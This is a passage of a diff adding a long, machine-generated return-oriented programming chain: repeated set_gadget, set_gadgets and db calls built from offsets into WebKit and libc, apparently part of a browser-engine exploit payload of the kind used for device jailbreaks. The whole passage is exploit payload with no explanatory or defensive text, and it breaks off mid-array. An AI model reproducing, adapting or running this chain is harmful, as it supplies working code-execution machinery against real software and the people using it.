+set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+449968, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+450000, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+449984, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+450112, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+450104, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+450128, +ropchain+450768, +libc_base+713278, +ropchain+450184, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964132, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+450272, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+450288, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+450448, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+450480, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+450432, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+450464, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+450560, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+450576, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+450696, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+450680, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+450760, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+450824, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964132, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+450912, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+450928, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+451088, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+451120, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+451072, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+451104, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+451216, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+451200, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+451304, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+451376, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964132, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+451440, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+446200, +libc_base+713278, +ropchain+451552, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+451640, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+451656, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+451816, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+451848, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+451800, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+451832, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+451944, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+451928, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+603984, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+452096, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+452184, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+452272, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+452288, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+452448, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+452480, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+452432, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+452464, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+452560, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+452576, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+452672, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+452656, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+452768, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+452912, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+452928, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+452896, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+453104, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+453120, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+453088, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+453248, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+453280, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+453264, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+453392, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+453384, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+453408, +ropchain+453872, +libc_base+388400, +libc_base+713278, +ropchain+453464, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+453608, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+453624, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+453592, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+453728, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+453744, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+453864, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+453848, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+388400, +libc_base+713278, +ropchain+453936, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965220, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+454016, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+454072, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+454168, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+454256, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+454272, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+454432, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+454464, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+454416, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+454448, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+454624, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+454576, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+454592, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+454704, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+454720, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+454808, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+454864, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+454992, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+455024, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+455008, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+455184, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+455216, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+455168, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+455200, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+455296, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+455312, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+455432, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+455416, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964128, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294964128, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+455576, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+455592, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+455752, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+455784, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+455736, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+455768, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+455904, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+455888, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964124, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+455976, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([2, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([28, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+456176, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+601152, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+456320, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+456336, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+456304, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+456432, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+456416, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+456528, +webkit_base+4687784, +libc_base+713278 +]); +db([4294965220, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+456608, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+456664, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+456760, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+456848, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+456864, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+457024, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+457056, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+457008, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+457040, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+457216, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+457168, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+457184, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+457296, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+457312, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+457400, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+457456, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+457528, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+457584, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+457688, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+457800, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+457784, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([322371584, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+457944, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964128, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+458032, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+458048, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+458208, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+458240, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+458192, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+458224, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+458336, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+458320, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+458432, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+458544, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+258152, +libc_base+863109, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+458688, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+458704, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+458672, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+458824, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+458808, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+458952, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+458968, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+459128, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+459160, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+459112, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+459144, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+459256, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+459240, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+604008, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+459408, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+459496, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+459584, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+459600, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+459760, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+459792, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+459744, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+459776, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+459872, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+459888, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+459984, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+459968, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+460080, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+460224, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+460240, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+460208, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+460416, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+460432, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+460400, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, 